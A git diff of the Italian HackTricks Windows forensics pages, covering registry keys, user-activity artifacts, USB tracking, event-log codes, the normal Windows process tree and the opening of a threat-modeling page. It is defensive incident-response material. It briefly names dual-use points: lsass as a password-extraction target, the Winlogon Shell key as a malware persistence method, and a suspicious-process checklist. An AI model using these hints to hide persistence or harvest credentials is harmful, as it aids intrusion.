- Le ricerche di Explorer e i percorsi digitati sono tracciati nel registro sotto **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** per WordwheelQuery e TypedPaths, rispettivamente.
### **Documenti Recenti e File di Office**
- I documenti recenti e i file di Office accessibili sono annotati in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` e percorsi specifici della versione di Office.
### **Elementi Usati di Recente (MRU)**
- Le liste MRU, che indicano i percorsi e i comandi dei file recenti, sono memorizzate in varie sottochiavi `ComDlg32` e `Explorer` sotto `NTUSER.DAT`.
### **Tracciamento dell'Attività dell'Utente**
- La funzione User Assist registra statistiche dettagliate sull'uso delle applicazioni, inclusi il conteggio delle esecuzioni e l'ora dell'ultima esecuzione, in **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
### **Analisi delle Shellbags**
- Le Shellbags, che rivelano dettagli sull'accesso alle cartelle, sono memorizzate in `USRCLASS.DAT` e `NTUSER.DAT` sotto `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** per l'analisi.
### **Storia dei Dispositivi USB**
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** e **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contengono dettagli ricchi sui dispositivi USB collegati, inclusi produttore, nome del prodotto e timestamp di connessione.
- L'utente associato a un dispositivo USB specifico può essere individuato cercando nei registri `NTUSER.DAT` per il **{GUID}** del dispositivo.
- L'ultimo dispositivo montato e il suo numero di serie del volume possono essere tracciati attraverso `System\MountedDevices` e `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, rispettivamente.
Questa guida riassume i percorsi e i metodi cruciali per accedere a informazioni dettagliate su sistema, rete e attività dell'utente sui sistemi Windows, puntando alla chiarezza e all'usabilità.
{{#include ../../../banners/hacktricks-training.md}}

106
src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md
View File

@ -1,106 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
## smss.exe
**Session Manager**.\
La Sessione 0 avvia **csrss.exe** e **wininit.exe** (**servizi** **OS**) mentre la Sessione 1 avvia **csrss.exe** e **winlogon.exe** (**sessione** **utente**). Tuttavia, dovresti vedere **solo un processo** di quel **binario** senza figli nell'albero dei processi.
Inoltre, sessioni diverse da 0 e 1 possono significare che si stanno verificando sessioni RDP.
## csrss.exe
**Client/Server Run Subsystem Process**.\
Gestisce **processi** e **thread**, rende disponibile l'**API** **Windows** per altri processi e mappa anche le **lettere di unità**, crea **file temporanei** e gestisce il **processo** di **spegnimento**.
Ce n'è uno **in esecuzione nella Sessione 0 e un altro nella Sessione 1** (quindi **2 processi** nell'albero dei processi). Un altro viene creato **per ogni nuova Sessione**.
## winlogon.exe
**Windows Logon Process**.\
È responsabile per il **logon**/**logoff** dell'utente. Avvia **logonui.exe** per chiedere nome utente e password e poi chiama **lsass.exe** per verificarli.
Poi avvia **userinit.exe** che è specificato in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** con la chiave **Userinit**.
Inoltre, il registro precedente dovrebbe avere **explorer.exe** nella chiave **Shell** o potrebbe essere abusato come **metodo di persistenza del malware**.
## wininit.exe
**Windows Initialization Process**. \
Avvia **services.exe**, **lsass.exe** e **lsm.exe** nella Sessione 0. Dovrebbe esserci solo 1 processo.
## userinit.exe
**Userinit Logon Application**.\
Carica il **ntduser.dat in HKCU** e inizializza l'**ambiente** **utente** e esegue **script di logon** e **GPO**.
Avvia **explorer.exe**.
## lsm.exe
**Local Session Manager**.\
Lavora con smss.exe per manipolare le sessioni utente: logon/logoff, avvio della shell, blocco/sblocco del desktop, ecc.
Dopo W7, lsm.exe è stato trasformato in un servizio (lsm.dll).
Dovrebbe esserci solo 1 processo in W7 e da esso un servizio che esegue la DLL.
## services.exe
**Service Control Manager**.\
Carica i **servizi** configurati come **auto-avvio** e **driver**.
È il processo padre di **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** e molti altri.
I servizi sono definiti in `HKLM\SYSTEM\CurrentControlSet\Services` e questo processo mantiene un DB in memoria delle informazioni sui servizi che possono essere interrogate da sc.exe.
Nota come **alcuni** **servizi** verranno eseguiti in un **processo proprio** e altri condivideranno un processo svchost.exe.
Dovrebbe esserci solo 1 processo.
## lsass.exe
**Local Security Authority Subsystem**.\
È responsabile per l'**autenticazione** dell'utente e crea i **token** di **sicurezza**. Utilizza pacchetti di autenticazione situati in `HKLM\System\CurrentControlSet\Control\Lsa`.
Scrive nel **registro** **eventi** **di sicurezza** e dovrebbe esserci solo 1 processo.
Tieni presente che questo processo è altamente attaccato per estrarre password.
## svchost.exe
**Generic Service Host Process**.\
Ospita più servizi DLL in un processo condiviso.
Di solito, troverai che **svchost.exe** viene avviato con il flag `-k`. Questo avvierà una query al registro **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** dove ci sarà una chiave con l'argomento menzionato in -k che conterrà i servizi da avviare nello stesso processo.
Ad esempio: `-k UnistackSvcGroup` avvierà: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc`
Se il **flag `-s`** viene utilizzato anche con un argomento, allora svchost viene chiesto di **avviare solo il servizio specificato** in questo argomento.
Ci saranno diversi processi di `svchost.exe`. Se uno di essi **non utilizza il flag `-k`**, allora è molto sospetto. Se scopri che **services.exe non è il padre**, è anche molto sospetto.
## taskhost.exe
Questo processo funge da host per i processi in esecuzione da DLL. Carica anche i servizi che vengono eseguiti da DLL.
In W8 questo è chiamato taskhostex.exe e in W10 taskhostw.exe.
## explorer.exe
Questo è il processo responsabile per il **desktop dell'utente** e per l'apertura di file tramite estensioni di file.
**Solo 1** processo dovrebbe essere generato **per ogni utente connesso.**
Questo viene eseguito da **userinit.exe** che dovrebbe essere terminato, quindi **nessun padre** dovrebbe apparire per questo processo.
# Catturare Processi Maligni
- Sta girando dal percorso previsto? (Nessun binario Windows gira da una posizione temporanea)
- Sta comunicando con IP strani?
- Controlla le firme digitali (gli artefatti Microsoft dovrebbero essere firmati)
- È scritto correttamente?
- Sta girando sotto il SID previsto?
- È il processo padre quello previsto (se presente)?
- I processi figli sono quelli attesi? (niente cmd.exe, wscript.exe, powershell.exe..?)
{{#include ../../../banners/hacktricks-training.md}}

64
src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md
View File

@ -1,7 +1,5 @@
# Windows Artifacts
## Windows Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Generic Windows Artifacts
@ -14,41 +12,41 @@ All'interno di questo database SQLite, puoi trovare la tabella `Notification` co
### Timeline
Timeline è una caratteristica di Windows che fornisce **storia cronologica** delle pagine web visitate, documenti modificati e applicazioni eseguite.
La Timeline è una caratteristica di Windows che fornisce **una cronologia cronologica** delle pagine web visitate, dei documenti modificati e delle applicazioni eseguite.
Il database si trova nel percorso `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Questo database può essere aperto con uno strumento SQLite o con lo strumento [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **che genera 2 file che possono essere aperti con lo strumento** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Alternate Data Streams)
I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come** è stato **scaricato** dalla intranet, internet, ecc. Alcuni software (come i browser) di solito aggiungono anche **ulteriori** **informazioni** come l'**URL** da cui il file è stato scaricato.
I file scaricati possono contenere l'**ADS Zone.Identifier** che indica **come** è stato **scaricato** dall'intranet, internet, ecc. Alcuni software (come i browser) di solito aggiungono anche **ulteriori** **informazioni** come l'**URL** da cui è stato scaricato il file.
## **File Backups**
### Recycle Bin
In Vista/Win7/Win8/Win10 il **Recycle Bin** può essere trovato nella cartella **`$Recycle.bin`** nella radice dell'unità (`C:\$Recycle.bin`).\
Quando un file viene eliminato in questa cartella vengono creati 2 file specifici:
Quando un file viene eliminato in questa cartella, vengono creati 2 file specifici:
- `$I{id}`: Informazioni sul file (data di quando è stato eliminato)
- `$R{id}`: Contenuto del file
![](<../../../images/image (1029).png>)
Avendo questi file puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10).
Avendo questi file, puoi utilizzare lo strumento [**Rifiuti**](https://github.com/abelcheung/rifiuti2) per ottenere l'indirizzo originale dei file eliminati e la data in cui è stato eliminato (usa `rifiuti-vista.exe` per Vista – Win10).
```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
```
![](<../../../images/image (495) (1) (1) (1).png>)
### Volume Shadow Copies
### Copie Shadow del Volume
Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso.
La Shadow Copy è una tecnologia inclusa in Microsoft Windows che può creare **copia di backup** o snapshot di file o volumi del computer, anche quando sono in uso.
Questi backup si trovano solitamente in `\System Volume Information` dalla radice del file system e il nome è composto da **UID** mostrati nell'immagine seguente:
![](<../../../images/image (94).png>)
Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una shadow copy e persino **estrarre i file** dai backup delle shadow copy.
Montando l'immagine forense con **ArsenalImageMounter**, lo strumento [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) può essere utilizzato per ispezionare una copia shadow e persino **estrarre i file** dai backup delle copie shadow.
![](<../../../images/image (576).png>)
@ -56,17 +54,17 @@ L'entry del registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Backup
![](<../../../images/image (254).png>)
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sui `Volume Shadow Copies`.
Il registro `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contiene anche informazioni di configurazione sulle `Volume Shadow Copies`.
### Office AutoSaved Files
### File AutoSalvati di Office
Puoi trovare i file autosalvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
Puoi trovare i file auto salvati di Office in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Shell Items
## Elementi Shell
Un elemento shell è un elemento che contiene informazioni su come accedere a un altro file.
### Recent Documents (LNK)
### Documenti Recenti (LNK)
Windows **crea automaticamente** questi **collegamenti** quando l'utente **apre, utilizza o crea un file** in:
@ -77,7 +75,7 @@ Quando viene creata una cartella, viene creato anche un collegamento alla cartel
Questi file di collegamento creati automaticamente **contengono informazioni sull'origine** come se si tratta di un **file** **o** di una **cartella**, **tempi MAC** di quel file, **informazioni sul volume** di dove è memorizzato il file e **cartella del file di destinazione**. Queste informazioni possono essere utili per recuperare quei file nel caso siano stati rimossi.
Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato.
Inoltre, la **data di creazione del collegamento** è il primo **tempo** in cui il file originale è stato **utilizzato per la prima volta** e la **data** **modificata** del file di collegamento è l'**ultima** **volta** in cui il file di origine è stato utilizzato.
Per ispezionare questi file puoi utilizzare [**LinkParser**](http://4discovery.com/our-tools/).
@ -108,7 +106,7 @@ I **jumplists** creati automaticamente sono memorizzati in `C:\Users\{username}\
I jumplists personalizzati sono memorizzati in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` e vengono creati dall'applicazione solitamente perché è successo qualcosa di **importante** con il file (forse contrassegnato come preferito).
Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo modificato l'ultima volta**.
Il **tempo di creazione** di qualsiasi jumplist indica **la prima volta che il file è stato accesso** e il **tempo di modifica l'ultima volta**.
Puoi ispezionare i jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
@ -132,7 +130,7 @@ Nota che alcuni file LNK invece di puntare al percorso originale, puntano alla c
![](<../../../images/image (218).png>)
I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag.
I file nella cartella WPDNSE sono una copia di quelli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag.
### Informazioni sul Registro
@ -142,7 +140,7 @@ I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvi
Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`).
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective
@ -152,13 +150,13 @@ Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su
### Pulizia Plug and Play
Il compito programmato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione di versioni di driver obsolete. Contrariamente al suo scopo specificato di mantenere l'ultima versione del pacchetto driver, fonti online suggeriscono che miri anche a driver che sono stati inattivi per 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non connessi negli ultimi 30 giorni potrebbero essere soggetti a cancellazione.
Il compito pianificato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione di versioni di driver obsolete. Contrariamente al suo scopo specificato di mantenere l'ultima versione del pacchetto driver, fonti online suggeriscono che miri anche a driver che sono stati inattivi per 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non connessi negli ultimi 30 giorni potrebbero essere soggetti a cancellazione.
Il compito si trova al seguente percorso: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Uno screenshot che mostra il contenuto del compito è fornito: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Componenti chiave e impostazioni del compito:**
**Componenti e impostazioni chiave del compito:**
- **pnpclean.dll**: Questo DLL è responsabile del processo di pulizia effettivo.
- **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indica l'uso del motore di pianificazione dei compiti generico.
@ -227,16 +225,16 @@ Allegati persi potrebbero essere recuperabili da:
### Miniature delle Immagini
- **Windows XP e 8-8.1**: Accedere a una cartella con miniature genera un file `thumbs.db` che memorizza le anteprime delle immagini, anche dopo la cancellazione.
- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite una rete tramite percorso UNC.
- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite rete tramite percorso UNC.
- **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file.
### Informazioni sul Registro di Windows
Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di sistema e utente, è contenuto all'interno di file in:
- `%windir%\System32\Config` per vari sottochiavi `HKEY_LOCAL_MACHINE`.
- `%windir%\System32\Config` per vari sottochiavi di `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`.
- Windows Vista e versioni successive eseguono il backup dei file di registro `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`.
- Windows Vista e versioni successive eseguono il backup dei file di registro di `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`.
- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server.
### Strumenti
@ -244,13 +242,13 @@ Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di
Alcuni strumenti sono utili per analizzare i file di registro:
- **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare attraverso il registro di Windows della sessione corrente.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano le chiavi con informazioni interessanti.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano chiavi con informazioni interessanti.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ancora, ha un'interfaccia grafica che consente di navigare attraverso il registro caricato e contiene anche plugin che evidenziano informazioni interessanti all'interno del registro caricato.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre le informazioni importanti dal registro caricato.
### Recupero di Elementi Cancellati
Quando una chiave viene eliminata, viene contrassegnata come tale, ma fino a quando lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate.
Quando una chiave viene eliminata, è contrassegnata come tale, ma finché lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate.
### Ultimo Tempo di Scrittura
@ -276,17 +274,17 @@ In [questo post](https://jonahacks.medium.com/investigating-common-windows-proce
### APP Recenti di Windows
All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **ultima volta** che è stata eseguita e **numero di volte** che è stata avviata.
All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **l'ultima volta** che è stata eseguita e **il numero di volte** che è stata avviata.
### BAM (Moderatore di Attività in Background)
Puoi aprire il file `SYSTEM` con un editor di registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puoi trovare informazioni sulle **applicazioni eseguite da ciascun utente** (nota il `{SID}` nel percorso) e **a che ora** sono state eseguite (l'ora è all'interno del valore Data del registro).
### Prefetch di Windows
### Windows Prefetch
Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** a cui un utente **potrebbe accedere nel prossimo futuro** in modo che le risorse possano essere accessibili più rapidamente.
Il prefetch di Windows consiste nella creazione di **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10.
Il prefetch di Windows consiste nel creare **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10.
Il nome del file è creato come `{program_name}-{hash}.pf` (l'hash è basato sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Nota che la sola presenza del file indica che **il programma è stato eseguito** a un certo punto.
@ -396,7 +394,7 @@ Le informazioni che appaiono all'interno degli eventi di Windows sono:
I log si trovano in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in **formato XML** e utilizzano l'estensione **.evtx**.
La posizione dei file di evento può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
La posizione dei file di eventi può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Possono essere visualizzati dal Visualizzatore eventi di Windows (**`eventvwr.msc`**) o con altri strumenti come [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
@ -430,7 +428,7 @@ Gli eventi di accesso sono registrati nel file di configurazione della sicurezza
- **0xC0000064**: Il nome utente non esiste - Potrebbe indicare un attacco di enumerazione degli username.
- **0xC000006A**: Nome utente corretto ma password errata - Possibile tentativo di indovinare la password o attacco brute-force.
- **0xC0000234**: Account utente bloccato - Può seguire un attacco brute-force che ha portato a più accessi falliti.
- **0xC0000234**: Account utente bloccato - Può seguire un attacco brute-force con più accessi falliti.
- **0xC0000072**: Account disabilitato - Tentativi non autorizzati di accedere a account disabilitati.
- **0xC000006F**: Accesso al di fuori dell'orario consentito - Indica tentativi di accesso al di fuori delle ore di accesso impostate, un possibile segno di accesso non autorizzato.
- **0xC0000070**: Violazione delle restrizioni della workstation - Potrebbe essere un tentativo di accesso da una posizione non autorizzata.
@ -465,11 +463,11 @@ I dettagli degli eventi, inclusi i codici di stato e sottostato, forniscono ulte
### Recovering Windows Events
Per aumentare le possibilità di recuperare eventi di Windows eliminati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi.
Per aumentare le possibilità di recuperare eventi di Windows cancellati, è consigliabile spegnere il computer sospetto scollegandolo direttamente. **Bulk_extractor**, uno strumento di recupero che specifica l'estensione `.evtx`, è raccomandato per tentare di recuperare tali eventi.
### Identifying Common Attacks via Windows Events
Per una guida completa su come utilizzare gli ID evento di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/).
Per una guida completa sull'utilizzo degli ID eventi di Windows per identificare attacchi informatici comuni, visita [Red Team Recipe](https://redteamrecipe.com/event-codes/).
#### Brute Force Attacks
@ -481,7 +479,7 @@ Registrato da EventID 4616, i cambiamenti all'ora di sistema possono complicare
#### USB Device Tracking
EventIDs di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento.
Gli ID eventi di sistema utili per il tracciamento dei dispositivi USB includono 20001/20003/10000 per l'uso iniziale, 10100 per aggiornamenti dei driver e EventID 112 da DeviceSetupManager per i timestamp di inserimento.
#### System Power Events

26
src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md
View File

@ -1,7 +1,5 @@
# Chiavi di Registro di Windows Interessanti
### Chiavi di Registro di Windows Interessanti
{{#include ../../../banners/hacktricks-training.md}}
### **Informazioni sulla Versione di Windows e Proprietario**
@ -18,7 +16,7 @@
### **Tracciamento del Tempo di Accesso**
- Per impostazione predefinita, il tracciamento dell'ultimo tempo di accesso è disattivato (**`NtfsDisableLastAccessUpdate=1`**). Per abilitarlo, usa:
- Per impostazione predefinita, il tracciamento dell'ultimo accesso è disattivato (**`NtfsDisableLastAccessUpdate=1`**). Per abilitarlo, usa:
`fsutil behavior set disablelastaccess 0`
### Versioni di Windows e Service Pack
@ -27,11 +25,11 @@
### Abilitazione del Tempo di Accesso
- Abilitare il tracciamento dell'ultimo tempo di accesso consente di vedere quando i file sono stati aperti per l'ultima volta, il che può essere fondamentale per l'analisi forense o il monitoraggio del sistema.
- Abilitare il tracciamento dell'ultimo accesso consente di vedere quando i file sono stati aperti l'ultima volta, il che può essere fondamentale per l'analisi forense o il monitoraggio del sistema.
### Dettagli sulle Informazioni di Rete
- Il registro contiene dati estesi sulle configurazioni di rete, inclusi **tipi di reti (wireless, cavo, 3G)** e **categorie di rete (Pubblica, Privata/Casa, Dominio/Lavoro)**, che sono vitali per comprendere le impostazioni di sicurezza della rete e i permessi.
- Il registro contiene dati estesi sulle configurazioni di rete, inclusi **tipi di reti (wireless, cavo, 3G)** e **categorie di rete (Pubblica, Privata/Home, Dominio/Lavoro)**, che sono vitali per comprendere le impostazioni di sicurezza della rete e i permessi.
### Caching Lato Client (CSC)
@ -43,7 +41,7 @@
### Shellbags
- **Shellbags** non solo memorizzano le preferenze per le visualizzazioni delle cartelle, ma forniscono anche prove forensi di accesso alle cartelle anche se la cartella non esiste più. Sono inestimabili per le indagini, rivelando l'attività dell'utente che non è ovvia attraverso altri mezzi.
- I **Shellbags** non solo memorizzano le preferenze per le visualizzazioni delle cartelle, ma forniscono anche prove forensi di accesso alle cartelle anche se la cartella non esiste più. Sono inestimabili per le indagini, rivelando attività dell'utente che non sono ovvie attraverso altri mezzi.
### Informazioni e Forense USB
@ -51,7 +49,7 @@
### Numero di Serie del Volume
- Il **Numero di Serie del Volume** può essere cruciale per tracciare l'istanza specifica di un file system, utile in scenari forensi in cui è necessario stabilire l'origine del file su diversi dispositivi.
- Il **Numero di Serie del Volume** può essere cruciale per tracciare l'istanza specifica di un file system, utile in scenari forensi in cui è necessario stabilire l'origine di un file su diversi dispositivi.
### **Dettagli di Spegnimento**
@ -64,11 +62,11 @@
### **Cartelle Condivise**
- Le cartelle condivise e le impostazioni si trovano in **`System\ControlSet001\Services\lanmanserver\Shares`**. Le impostazioni di Caching Lato Client (CSC) determinano la disponibilità dei file offline.
- Le cartelle condivise e le impostazioni si trovano sotto **`System\ControlSet001\Services\lanmanserver\Shares`**. Le impostazioni di Caching Lato Client (CSC) determinano la disponibilità dei file offline.
### **Programmi che Si Avviano Automaticamente**
- Percorsi come **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e voci simili sotto `Software\Microsoft\Windows\CurrentVersion` dettagliano i programmi impostati per avviarsi all'avvio.
- Percorsi come **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** e voci simili sotto `Software\Microsoft\Windows\CurrentVersion` dettagliano i programmi impostati per essere eseguiti all'avvio.
### **Ricerche e Percorsi Digitati**
@ -78,17 +76,17 @@
- I documenti recenti e i file di Office accessibili sono annotati in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` e percorsi specifici della versione di Office.
### **Elementi Utilizzati di Recente (MRU)**
### **Elementi Più Recentemente Utilizzati (MRU)**
- Le liste MRU, che indicano i percorsi e i comandi dei file recenti, sono memorizzate in varie sottochiavi `ComDlg32` e `Explorer` sotto `NTUSER.DAT`.
### **Tracciamento dell'Attività Utente**
- La funzione User Assist registra statistiche dettagliate sull'uso delle applicazioni, inclusi il conteggio delle esecuzioni e l'ora dell'ultima esecuzione, in **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
- La funzione User Assist registra statistiche dettagliate sull'uso delle applicazioni, inclusi conteggio delle esecuzioni e orario dell'ultima esecuzione, in **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
### **Analisi delle Shellbags**
### **Analisi dei Shellbags**
- Le shellbags, che rivelano dettagli sull'accesso alle cartelle, sono memorizzate in `USRCLASS.DAT` e `NTUSER.DAT` sotto `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** per l'analisi.
- I Shellbags, che rivelano dettagli sull'accesso alle cartelle, sono memorizzati in `USRCLASS.DAT` e `NTUSER.DAT` sotto `Software\Microsoft\Windows\Shell`. Usa **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** per l'analisi.
### **Storia dei Dispositivi USB**
@ -96,6 +94,6 @@
- L'utente associato a un dispositivo USB specifico può essere individuato cercando nei registri `NTUSER.DAT` per il **{GUID}** del dispositivo.
- L'ultimo dispositivo montato e il suo numero di serie del volume possono essere tracciati attraverso `System\MountedDevices` e `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, rispettivamente.
Questa guida riassume i percorsi e i metodi cruciali per accedere a informazioni dettagliate su sistema, rete e attività utente sui sistemi Windows, puntando alla chiarezza e all'usabilità.
Questa guida riassume i percorsi e i metodi cruciali per accedere a informazioni dettagliate sul sistema, sulla rete e sull'attività dell'utente sui sistemi Windows, puntando alla chiarezza e all'usabilità.
{{#include ../../../banners/hacktricks-training.md}}

49
src/generic-methodologies-and-resources/threat-modeling.md
View File

@ -1,29 +1,31 @@
# Modello di Minaccia
# Threat Modeling
## Modello di Minaccia
{{#include /banners/hacktricks-training.md}}
Benvenuto nella guida completa di HackTricks sul Modello di Minaccia! Inizia un'esplorazione di questo aspetto critico della cybersecurity, dove identifichiamo, comprendiamo e strategizziamo contro potenziali vulnerabilità in un sistema. Questo thread funge da guida passo-passo ricca di esempi del mondo reale, software utili e spiegazioni facili da comprendere. Ideale sia per i principianti che per i professionisti esperti che cercano di rafforzare le loro difese informatiche.
## Threat Modeling
### Scenari Comunemente Utilizzati
Benvenuto nella guida completa di HackTricks sul Threat Modeling! Inizia un'esplorazione di questo aspetto critico della cybersecurity, dove identifichiamo, comprendiamo e strategizziamo contro potenziali vulnerabilità in un sistema. Questo thread funge da guida passo-passo ricca di esempi del mondo reale, software utili e spiegazioni facili da comprendere. Ideale sia per i principianti che per i professionisti esperti che cercano di rafforzare le loro difese di cybersecurity.
